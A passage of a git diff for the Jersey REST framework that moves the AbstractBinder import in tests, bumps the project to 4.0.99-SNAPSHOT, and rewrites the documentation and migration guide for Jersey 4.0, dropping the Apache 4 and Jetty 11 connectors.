-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.process.Inflector;
 import org.glassfish.jersey.server.ApplicationHandler;
 import org.glassfish.jersey.server.ContainerResponse;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java
index 91acc2a..d47c401 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/inject/ParamConverterDateTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.server.internal.inject;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.inject.Binder;
 import org.glassfish.jersey.internal.inject.ExtractorException;
 import org.glassfish.jersey.server.ContainerResponse;
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
index d193046..76875b9 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/internal/scanning/JarFileScannerTest.java
@@ -52,7 +52,7 @@
 
     @Test
     public void testRecursiveResourceEnumerationOfAllPackages() throws IOException {
-        final int actualEntries = countJarEntriesByPattern(Pattern.compile(".*\\.(class|properties|xml|md)"));
+        final int actualEntries = countJarEntriesByPattern(Pattern.compile(".*\\.(class|properties|xml|md|xsd)"));
         final int scannedEntries = countJarEntriesUsingScanner("", true);
         assertThat("Failed to enumerate all contents of jakarta.ws.rs-api", scannedEntries, equalTo(actualEntries));
     }
diff --git a/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java b/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java
index 8bed349..6ca93ad 100644
--- a/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java
+++ b/core-server/src/test/java/org/glassfish/jersey/server/model/ExceptionMapperPriorityTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,8 @@
 
 package org.glassfish.jersey.server.model;
 
+import org.glassfish.jersey.inject.hk2.AbstractBinder;
 import org.glassfish.jersey.internal.ExceptionMapperFactory;
-import org.glassfish.jersey.internal.inject.AbstractBinder;
 import org.glassfish.jersey.internal.inject.CustomAnnotationLiteral;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
diff --git a/docs/pom.xml b/docs/pom.xml
index e4a4f8d..bbae25f 100644
--- a/docs/pom.xml
+++ b/docs/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <artifactId>jersey-documentation</artifactId>
     <packaging>pom</packaging>
diff --git a/docs/src/main/docbook/appendix-properties.xml b/docs/src/main/docbook/appendix-properties.xml
index 4294bae..886df2f 100644
--- a/docs/src/main/docbook/appendix-properties.xml
+++ b/docs/src/main/docbook/appendix-properties.xml
@@ -1202,12 +1202,11 @@
                         <entry>
                             <para>
                                 URI of a HTTP proxy the client connector should use. Default value is not set.
-                                <emphasis>Currently supported with &jersey.apache.ApacheConnectorProvider;,
+                                <emphasis>Currently supported with
                                     &jersey.apache5.Apache5ConnectorProvider;,
                                     &jersey.grizzly.GrizzlyConnectorProvider;,
                                     &jersey.helidon.HelidonConnectorProvider;,
-                                    &jersey.netty.NettyConnectorProvider;,
-                                    &jersey.jetty11.Jetty11ConnectorProvider;, and
+                                    &jersey.netty.NettyConnectorProvider;, and
                                     &jersey.jetty.JettyConnectorProvider; only.</emphasis>
                             </para>
                         </entry>
@@ -1512,303 +1511,6 @@
 
 
     </section>
-    <section xml:id="appendix-properties-client-default">
-        <title>The default HttpUrlConnector properties</title>
-        <para>
-            List of properties defined in &jersey.client.HttpUrlConnectorProvider; class.
-        </para>
-
-        <table>
-            <title>List of the default &jersey.client.HttpUrlConnectorProvider; properites</title>
-            <tgroup cols="3">
-                <thead>
-                    <row>
-                        <entry>Constant</entry>
-                        <entry>Value</entry>
-                        <entry>Description</entry>
-                    </row>
-                </thead>
-                <tbody>
-                    <row>
-                        <entry>&jersey.client.HttpUrlConnectorProvider.SET_METHOD_WORKAROUND;</entry>
-                        <entry><literal>jersey.config.client.httpUrlConnection.setMethodWorkaround</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.true; declares that the client will try to set
-                                unsupported HTTP method to <literal>java.net.HttpURLConnection</literal> via
-                                reflection as a workaround for a missing HTTP method.
-                            </para>
-                            <para>
-                                NOTE: Enabling this property may cause security related warnings/errors
-                                and it may break when other JDK implementation is used. <emphasis>Use only
-                                when you know what you are doing.</emphasis>
-                            </para>
-                            <para>
-                                The value MUST be an instance of &lit.jdk6.Boolean;. The default value is &lit.false;.
-                            </para>
-                            <para>Since JDK 16 the JDK internal classes are not opened for reflection and the workaround method
-                                does not work, unless <literal>--add-opens java.base/java.net=ALL-UNNAMED</literal> for HTTP
-                                requests and additional <literal>--add-opens java.base/sun.net.www.protocol.https=ALL-UNNAMED</literal>
-                                for HTTPS (<literal>javax.net.ssl.HttpsUrlConnection</literal>) options are set.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.client.HttpUrlConnectorProvider.USE_FIXED_LENGTH_STREAMING;</entry>
-                        <entry><literal>jersey.config.client.httpUrlConnector.useFixedLengthStreaming</literal></entry>
-                        <entry>
-                            <para>
-                                If &lit.true;, the &lit.jersey.client.HttpUrlConnector; (if used) will assume the content length
-                                from the value of <literal>jakarta.ws.rs.core.HttpHeaders#CONTENT_LENGTH</literal> request
-                                header (if present).
-                            </para>
-                            <para>
-                                When this property is enabled and the request has a valid non-zero content length
-                                value specified in its <literal>jakarta.ws.rs.core.HttpHeaders#CONTENT_LENGTH</literal> request
-                                header, that this value will be used as an input to the
-                                <literal>java.net.HttpURLConnection#setFixedLengthStreamingMode(int)</literal> method call
-                                invoked on the underlying <literal>java.net.HttpURLConnection</literal>.
-                                This will also suppress the entity buffering in the <literal>HttpURLConnection</literal>,
-                                which is undesirable in certain scenarios, e.g. when streaming large entities.
-                            </para>
-                            <para>
-                                Note that the content length value defined in the request header must exactly match
-                                the real size of the entity. If the <literal>jakarta.ws.rs.core.HttpHeaders#CONTENT_LENGTH</literal>
-                                header is explicitly specified in a request, this property will be ignored and the
-                                request entity will be still buffered by the underlying <literal>HttpURLConnection</literal> infrastructure.
-                            </para>
-                            <para>
-                                This property also overrides the behaviour enabled by the &jersey.client.ClientProperties.CHUNKED_ENCODING_SIZE;
-                                property. Chunked encoding will only be used, if the size is not specified in the header of the request.
-                            </para>
-                            <para>
-                                Note that this property only applies to client run-times that are configured to use the default
-                                &lit.jersey.client.HttpUrlConnector; as the client connector. The property is ignored by other connectors.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                </tbody>
-            </tgroup>
-        </table>
-    </section>
-    <section xml:id="appendix-properties-client-apache">
-        <title>Apache HTTP client configuration properties</title>
-
-        <para>
-            List of client configuration properties that can be found in &jersey.apache.ApacheClientProperties; class.
-        </para>
-
-        <table>
-            <title>List of Apache HTTP client configuration properties</title>
-            <tgroup cols="3">
-                <thead>
-                    <row>
-                        <entry>Constant</entry>
-                        <entry>Value</entry>
-                        <entry>Description</entry>
-                    </row>
-                </thead>
-                <tbody>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CONNECTION_CLOSING_STRATEGY;</entry>
-                        <entry><literal>jersey.config.apache.client.connectionClosingStrategy</literal></entry>
-                        <entry>
-                            <para>
-                                Strategy that closes the Apache Connection.
-                                Accepts an instance of &jersey.apache.ApacheConnectionClosingStrategy;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CONNECTION_MANAGER;</entry>
-                        <entry><literal>jersey.config.apache.client.connectionManager</literal></entry>
-                        <entry>
-                            <para>
-                                Connection Manager which will be used to create
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.conn.HttpClientConnectionManager</literal>
-                            </para>
-                            <para>
-                                If the property is absent a default Connection Manager will be used
-                                <literal>org.apache.http.impl.conn.BasicHttpClientConnectionManager</literal>.
-                                If you want to use this client in multi-threaded environment, be sure you override default value with
-                                <literal>org.apache.http.impl.conn.PoolingHttpClientConnectionManager</literal> instance.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CONNECTION_MANAGER_SHARED;</entry>
-                        <entry><literal>jersey.config.apache.client.connectionManagerShared</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.true; indicates that configured connection manager should be shared
-                                among multiple Jersey client runtime instances. It means that closing
-                                a particular client runtime instance does not shut down the underlying
-                                connection manager automatically. In such case, the connection manager life-cycle
-                                should be fully managed by the application code. To release all allocated resources,
-                                caller code should especially ensure
-                                <literal>org.apache.http.conn.HttpClientConnectionManager#shutdown()</literal> gets
-                                invoked eventually.
-                            </para>
-                            <para>
-                                This property may only be set prior to constructing Apache connector using
-                                &jersey.apache.ApacheConnectorProvider;
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.CREDENTIALS_PROVIDER;</entry>
-                        <entry><literal>jersey.config.apache.client.credentialsProvider</literal></entry>
-                        <entry>
-                            <para>
-                                The credential provider that should be used to retrieve
-                                credentials from a user. Credentials needed for proxy authentication
-                                are stored here as well.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.client.CredentialsProvider</literal>.
-                            </para>
-                            <para>
-                                If the property is absent a default provider will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.DISABLE_COOKIES;</entry>
-                        <entry><literal>jersey.config.apache.client.handleCookies</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.false; indicates the client should handle cookies
-                                automatically using HttpClient's default cookie policy. A value
-                                of &lit.true; will cause the client to ignore all cookies.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.KEEPALIVE_STRATEGY;</entry>
-                        <entry><literal>jersey.config.apache.client.keepAliveStrategy</literal></entry>
-                        <entry>
-                            <para>
-                                Apache <literal>ConnectionKeepAliveStrategy</literal> for the
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.conn.ConnectionKeepAliveStrategy</literal>.
-                            </para>
-                            <para>
-                                If the property is absent the default keepalive strategy of the Apache HTTP library will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION;</entry>
-                        <entry><literal>jersey.config.apache.client.preemptiveBasicAuthentication</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.true; indicates that a client should send an
-                                authentication request even before the server gives a 401
-                                response.
-                            </para>
-                            <para>
-                                This property may only be set prior to constructing Apache connector using
-                                &jersey.apache.ApacheConnectorProvider;.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>java.lang.Boolean</literal>.
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.REQUEST_CONFIG;</entry>
-                        <entry><literal>jersey.config.apache.client.requestConfig</literal></entry>
-                        <entry>
-                            <para>
-                                Request configuration for the <literal>org.apache.http.client.HttpClient</literal>.
-                                Http parameters which will be used to create <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.client.config.RequestConfig</literal>.
-                            </para>
-                            <para>
-                                If the property is absent the default request configuration will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.RETRY_HANDLER;</entry>
-                        <entry><literal>jersey.config.apache.client.retryHandler</literal></entry>
-                        <entry>
-                            <para>
-                                Apache <literal>HttpRequestRetryHandler</literal> which will be used to create
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.client.HttpRequestRetryHandler</literal>.
-                            </para>
-                            <para>
-                                If the property is absent a default retry handler will be used
-                                (<literal>org.apache.http.impl.client.DefaultHttpRequestRetryHandler</literal>).
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.REUSE_STRATEGY;</entry>
-                        <entry><literal>jersey.config.apache.client.reuseStrategy</literal></entry>
-                        <entry>
-                            <para>
-                               Apache <literal>ConnectionReuseStrategy</literal> for the
-                                <literal>org.apache.http.client.HttpClient</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of <literal>org.apache.http.ConnectionReuseStrategy</literal>.
-                            </para>
-                            <para>
-                                If the property is absent the default reuse strategy of the Apache HTTP library will be used.
-                            </para>
-                        </entry>
-                    </row>
-                    <row>
-                        <entry>&jersey.apache.ApacheClientProperties.USE_SYSTEM_PROPERTIES;</entry>
-                        <entry><literal>jersey.config.apache.client.useSystemProperties</literal></entry>
-                        <entry>
-                            <para>
-                                A value of &lit.false; indicates the client will use default Apache &lit.jersey.client.Connector;
-                                params. A value of &lit.true; will cause the client to take into account the system properties
-                                <literal>https.protocols</literal>, <literal>https.cipherSuites</literal>,
-                                <literal>http.keepAlive</literal>, <literal>http.maxConnections</literal>.
-                            </para>
-                            <para>
-                                The value MUST be an instance of &lit.jdk6.Boolean;
-                            </para>
-                            <para>
-                                The default value is &lit.false;.
-                            </para>
-                        </entry>
-                    </row>
-                </tbody>
-            </tgroup>
-        </table>
-    </section>
     <section xml:id="appendix-properties-client-apache5">
         <title>Apache 5 HTTP client configuration properties</title>
 
@@ -2389,7 +2091,6 @@
                                 Parameter which allows extending of the header size for the Netty connector
 
                                 Default header size is 8192b.
-                                <literal>Since 2.44</literal>
                             </para>
                         </entry>
                     </row>
@@ -2401,7 +2102,6 @@
                                 Parameter which allows extending of the chunk size for the Netty connector
 
                                 Default chunk size is 8192b.
-                                <literal>Since 2.44</literal>
                             </para>
                         </entry>
                     </row>
@@ -2413,7 +2113,6 @@
                                 Parameter which allows extending of the initial line length for the Netty connector
 
                                 Default initial line length is 4096b.
-                                <literal>Since 2.44</literal>
                             </para>
                         </entry>
                     </row>
diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml
index bfda0f5..390b9a3 100644
--- a/docs/src/main/docbook/client.xml
+++ b/docs/src/main/docbook/client.xml
@@ -641,11 +641,6 @@
                             <entry><literal>org.glassfish.jersey.connectors:jersey-grizzly-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Apache HTTP client</entry>
-                            <entry>&jersey.apache.ApacheConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-apache-connector</literal></entry>
-                        </row>
-                        <row>
                             <entry>Apache 5 HTTP client</entry>
                             <entry>&jersey.apache5.Apache5ConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-apache5-connector</literal></entry>
@@ -656,21 +651,11 @@
                             <entry><literal>org.glassfish.jersey.connectors:jersey-helidon-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Jetty HTTP client (JDK 17+)</entry>
+                            <entry>Jetty HTTP client</entry>
                             <entry>&jersey.jetty.JettyConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-connector</literal></entry>
                         </row>
                         <row>
-                            <entry>Jetty 11.x HTTP client</entry>
-                            <entry>&jersey.jetty11.Jetty11ConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-connector</literal></entry>
-                        </row>
-                        <row>
-                            <entry>Jetty 11.x HTTP/2 client</entry>
-                            <entry>&jersey.jetty11.Jetty11Http2ConnectorProvider;</entry>
-                            <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-http2-connector</literal></entry>
-                        </row>
-                        <row>
                             <entry>Netty NIO framework</entry>
                             <entry>&jersey.netty.NettyConnectorProvider;</entry>
                             <entry><literal>org.glassfish.jersey.connectors:jersey-netty-connector</literal></entry>
@@ -828,29 +813,6 @@
                 for Jetty HTTP Client, it is possible to access directly the HTTP Client classes and invoke setter methods there.
             </para>
             <section>
-                <title>Apache HttpClientBuilder Configuration</title>
-                <para>
-                    For Apache Connector, an &jersey.apache.ApacheHttpClientBuilderConfigurator; SPI allows for invoking methods
-                    of <literal>org.apache.http.impl.client.HttpClientBuilder</literal>, such as <literal>setDefaultCredentialsProvider</literal>:
-                    <programlisting language="java" linenumbering="numbered">
-                        org.apache.http.client.CredentialsProvider credentialsProvider = new org.apache.http.impl.client.BasicCredentialsProvider();
-                        credentialsProvider.setCredentials(
-                            org.apache.http.auth.AuthScope.ANY,
-                            new org.apache.http.auth.UsernamePasswordCredentials("name", "password")
-                        );
-                        ApacheHttpClientBuilderConfigurator apacheHttpClientBuilderConfigurator = (httpClientBuilder) -> {
-                            return httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider);
-                        };
-
-                        ClientConfig cc = new ClientConfig();
-                        cc.register(apacheHttpClientBuilderConfigurator);
-                        cc.connectorProvider(new ApacheConnectorProvider());
-                        Client client = ClientBuilder.newClient(cc);
-                        ...
-                    </programlisting>
-                </para>
-            </section>
-            <section>
                 <title>Apache 5 HttpClientBuilder Configuration</title>
                 <para>
                     For Apache 5 Connector, an &jersey.apache5.Apache5HttpClientBuilderConfigurator; SPI allows for invoking methods
@@ -888,21 +850,6 @@
                     </programlisting>
                 </para>
             </section>
-            <section>
-                <title>Jetty 11.x HttpClient Configuration</title>
-                <para>
-                    For Jetty Connector, an &jersey.jetty11.Jetty11HttpClientSupplier; SPI allows for providing a configured instance
-                    of <literal>org.eclipse.jetty.client.HttpClient</literal>:
-                    <programlisting language="java" linenumbering="numbered">
-                        HttpClient httpClient = new HttpClient(...);
-                        ClientConfig clientConfig = new ClientConfig()
-                            .connectorProvider(new Jetty11ConnectorProvider())
-                            .register(new Jetty11HttpClientSupplier(httpClient));
-                        Client client = ClientBuilder.newClient(clientConfig);
-                        ...
-                    </programlisting>
-                </para>
-            </section>
         </section>
     </section>
 
diff --git a/docs/src/main/docbook/dependencies.xml b/docs/src/main/docbook/dependencies.xml
index 8037dc9..5b81a58 100644
--- a/docs/src/main/docbook/dependencies.xml
+++ b/docs/src/main/docbook/dependencies.xml
@@ -33,17 +33,15 @@
         <title>Java SE Compatibility</title>
 
         <para>
-            <emphasis>3.1 branch: </emphasis>
+            <emphasis>4.0 branch: </emphasis>
             <itemizedlist>
                 <listitem>
-                    <para>This user guide refers only to version 3.1.x of Jersey, its compatibility is described below.</para>
+                    <para>This user guide refers only to version 4.0.x of Jersey, its compatibility is described below.</para>
                 </listitem>
                 <listitem>
-                    <para>Since version 3.1.0 all Jersey components are compiled with Java SE 11 target.
+                    <para>Since version 4.0.0 all Jersey components are compiled with Java SE 17 target.
                         It means, that you will need at least Java SE 11 to be able to compile and run your application
-                        which uses the latest Jersey 3.1.x.
-                        Some modules, however, are fully compatible with JDK 17 and above (Jetty modules based on Jetty 12
-                        [since 3.1.4], Helidon Connector, Spring 6).
+                        which uses the latest Jersey 4.0.x.
                     </para>
                 </listitem>
                 <listitem>
@@ -53,7 +51,7 @@
                 </listitem>
             </itemizedlist>
             <table pgwide="1" frame='all' xml:id="jersey-jdk-compatibility">
-                <title>Jersey 3.1.x JDK compatibility</title>
+                <title>Jersey 4.0.x JDK compatibility</title>
                 <tgroup cols='3' align='center' colsep='1' rowsep='1'>
                     <colspec colname='c1'/>
                     <colspec colname='c2'/>
@@ -66,14 +64,7 @@
                         </row>
                     </thead>
                     <tbody>
-                        <row><entry>3.1.0</entry><entry>11</entry><entry>19</entry></row>
-                        <row><entry>3.1.1</entry><entry>11</entry><entry>19</entry></row>
-                        <row><entry>3.1.2</entry><entry>11</entry><entry>21</entry></row>
-                        <row><entry>3.1.3</entry><entry>11</entry><entry>21</entry></row>
-                        <row><entry>3.1.4</entry><entry>11</entry><entry>22</entry></row>
-                        <row><entry>3.1.5</entry><entry>11</entry><entry>22</entry></row>
-                        <row><entry>3.1.6</entry><entry>11</entry><entry>23</entry></row>
-                        <row><entry>3.1.7</entry><entry>11</entry><entry>23</entry></row>
+                        <row><entry>4.0.0</entry><entry>17</entry><entry>23</entry></row>
                     </tbody>
                 </tgroup>
             </table>
@@ -81,7 +72,7 @@
         <section>
             <title>Virtual Threads and Thread Factories</title>
             <para>
-                With JDK 21 and above, Jersey (since 2.44) has the ability to use virtual threads instead of
+                With JDK 21 and above, Jersey has the ability to use virtual threads instead of
                 the <literal>CachedThreadPool</literal> in the internal <literal>ExecutorServices</literal>.
                 Jersey also has the ability to specify the backing <literal>ThreadFactory</literal> for the
                 default <literal>ExecutorServices</literal> (the default <literal>ExecutorServices</literal>
@@ -204,16 +195,10 @@
 
 &lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.connectors&lt;/groupId&gt;
-    &lt;artifactId&gt;jersey-apache-connector&lt;/artifactId&gt;
+    &lt;artifactId&gt;jersey-apache5-connector&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
 &lt;/dependency&gt;
 &lt;dependency&gt;
-    &lt;groupId&gt;org.glassfish.jersey.connectory&lt;/groupId&gt;
-    &lt;artifactId&gt;jersey-jetty11-connector&lt;/artifactId&gt;
-    &lt;version&gt;&version;&lt;/version&gt;
-&lt;/dependency&gt;
-<!-- Requires JDK 17+ -->
-&lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.connectors&lt;/groupId&gt;
     &lt;artifactId&gt;jersey-jetty-connector&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
@@ -250,12 +235,6 @@
 
 &lt;dependency&gt;
     &lt;groupId&gt;org.glassfish.jersey.containers&lt;/groupId&gt;
-    &lt;artifactId&gt;jersey-container-simple-http&lt;/artifactId&gt;
-    &lt;version&gt;&version;&lt;/version&gt;
-&lt;/dependency&gt;
-
-&lt;dependency&gt;
-    &lt;groupId&gt;org.glassfish.jersey.containers&lt;/groupId&gt;
     &lt;artifactId&gt;jersey-container-jetty-http&lt;/artifactId&gt;
     &lt;version&gt;&version;&lt;/version&gt;
 &lt;/dependency&gt;
diff --git a/docs/src/main/docbook/migration.xml b/docs/src/main/docbook/migration.xml
index 03f7b61..e2b39af 100644
--- a/docs/src/main/docbook/migration.xml
+++ b/docs/src/main/docbook/migration.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -28,127 +28,88 @@
          xml:id="migration">
     <title>Migration Guide</title>
 
-    <section xml:id="mig-3.0.0">
-        <title>Migrating from Jersey 2.32+ to 3.0.x.</title>
-        <section xml:id="mig-3.0.0-breaking-changes">
+    <section xml:id="mig-4.0.0">
+        <title>Migrating from Jersey 3.x to 4.0.x.</title>
+        <section xml:id="mig-4.0.0-breaking-changes">
             <title>Breaking Changes</title>
             <para>
                 <itemizedlist>
                     <listitem>
                         <para>
-                            The most fundamental change in Jersey 3.0.0 and later is namespace change.
-                            Since Jakarta EE 9 the <literal>jakarta.</literal> namespace is introduced as a replacement
-                            for javax namespace from Java EE.
+                            Jersey 4.x is implementation of Jakarta REST 4.0, part of Jakarta EE 11.
+                            For APIs and implementations in Jakarta EE 11, JDK 17 minimum is required.
+                            However, some modules may require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
                         </para>
                     </listitem>
                     <listitem>
                         <para>
-                            Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
+                            Jakarta REST 4.0 dropped classes bound to JAX-B, since JAX-B has been removed from Jakarta EE 11 Core
+                            profile. These classes were <literal>jakarta.ws.rs.core.Link.JaxbLink</literal> and
+                            <literal>jakarta.ws.rs.core.Link.JaxbAdapter</literal> along with related methods working with these
+                            classes.
                         </para>
                     </listitem>
                     <listitem>
                         <para>
-                            Examples and tests are reduced in quantity (so you probably will not find all those examples which were available
-                            in the 2.32 version).
+                            Some modules supporting obsolete libraries were dropped.
+                            The Apache 4 HTTP Client supported by <literal>jersey-apache-connector</literal>
+                            is replaced by <literal>jersey-apache5-connector</literal>, using the Apache 5 HTTP Client.
+                        </para>
+                        <para>
+                            <literal>jersey-jetty11-connector</literal> based on Jetty 11 HTTP Client has been dropped, with
+                            <literal>jersey-jetty-connector</literal> based on Jetty 12 HTTP Client as a replacement.
+                        </para>
+                        <para>The same with <literal>jersey-container-jetty11-http</literal> with <literal>jersey-container-jetty-http</literal>
+                            atop Jetty 12 as a replacement.
+                        </para>
+                        <para>
+                            <literal>jersey-container-simple-http</literal> module was removed without a replacement.
+                        </para>
+                    </listitem>
+                    <listitem>
+                        <para>Given JDK 17 does not allow reflection on JDK internal classes, it is no longer possible
+                            to support additional HTTP methods with the default <literal>HttpUrlConnector</literal>, such as popular
+                            HTTP Patch.
                         </para>
                     </listitem>
                     <listitem>
                         <para>
-                            &jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE; is by default
-                            <literal>true</literal>.
+                            Jersey 4.x still uses HK2 as a main DI framework. However, in the future releases (5.x+), the main
+                            DI container would be the CDI container. In CDI, it is not possible to register beans in the injection
+                            container in runtime the way it is possible in HK2 using AbstractBinder; the
+                            &jersey.common.internal.inject.AbstractBinder; is moved to the <literal>jersey-hk2</literal> package.
+                            Also, a releated <literal>org.glassfish.jersey.internal.inject.Bindings</literal> class was moved
+                            into the same package. A few internal <literal>Binding</literal> subclasses and related Jersey
+                            most innate classes are hidden from public usage.
+                            See Section <xref linkend="ioc"/>.
+                        </para>
+                    </listitem>
+                    <listitem>
+                        <para>
+                            Jersey stopped providing jersey as a bundle, known as <literal>jaxrs-ri</literal>. Jersey jars used
+                            in the bundle was only a subset of possibilities Jersey provides with a variety of modules each of
+                            which handles an additional customer use-case. Some modules are not designed to be together on a
+                            classpath with a module from the <literal>jaxrs-ri</literal> bundle and that has been leading to a confusion.
+                        </para>
+                        <para>
+                            The <literal>jaxrs-ri</literal> bundle also contained third party libraries with a different licensing
+                            than Jersey, which also led to a confusion about whole <literal>jaxrs-ri</literal> bundle and
+                            Jersey itself license.
                         </para>
                     </listitem>
                 </itemizedlist>
             </para>
         </section>
-        <section xml:id="mig-3.0.0-removed-deprecated">
-            <title>Removed deprecated APIs</title>
-            <para>
-                <itemizedlist>
-                    <listitem>
-                        <para>
-                            Jackson 1 support was removed.
-                        </para>
-                    </listitem>
-                </itemizedlist>
-            </para>
-        </section>
-        <section xml:id="mig-3.0.0-application-servers">
+        <section xml:id="mig-4.0.0-application-servers">
             <title>Application servers for Jersey</title>
             <para>
-                Note that only a few servers support Jakarta EE 9 compatible Servlet API and they are tested with Jersey.
+                Note that only a few servers support Jakarta EE 11 compatible Servlet API and they are tested with Jersey.
                 Those are:
-                <literal>GlassFish 6</literal>,
-                <literal>Grizzly 3</literal>,
-                <literal>Jetty 11 (JDK 11+ required)</literal>,
-                <literal>Payara 6</literal>, and
-                <literal>Tomcat 10</literal>.
+                <literal>GlassFish 8</literal>,
+                <literal>Tomcat 11</literal>.
+                The other containers will follow.
             </para>
         </section>
     </section>
-    <section xml:id="mig-3.1.0">
-        <title>Migrating from Jersey 3.0.x to &version;.</title>
-        <section xml:id="mig-3.1.0-breaking-changes">
-            <title>Breaking Changes</title>
-            <para>
-                <itemizedlist>
-                    <listitem>
-                        <para>
-                            Jersey 3.1.0+ is the implementation of Jakarta RESTful WebServices 3.1, which is part of
-                            Jakarta EE 10. Jakarta EE 10 defines the minimum JDK 11 requirement and hence Jersey no longer
-                            supports JDK 8.
-                        </para>
-                        <para>
-                            Some Jersey modules require higher versions of Java SE. See <xref linkend="se_compatibility"/>.
-                        </para>
-                    </listitem>
-                    <listitem>
-                        <para>
-                            Since Jersey 3.1.0+ the <literal>getRequestHeader(String name)</literal> method of the
-                            <literal>ClientRequest</literal> class returns NULL (instead of an empty List) in case if
-                            the specified header does not exist.
-                        </para>
-                    </listitem>
-                </itemizedlist>
-            </para>
-        </section>
-        <section xml:id="mig-3.1.0-application-path">
-            <title>@ApplicationPath Annotation Support</title>
-            <para>
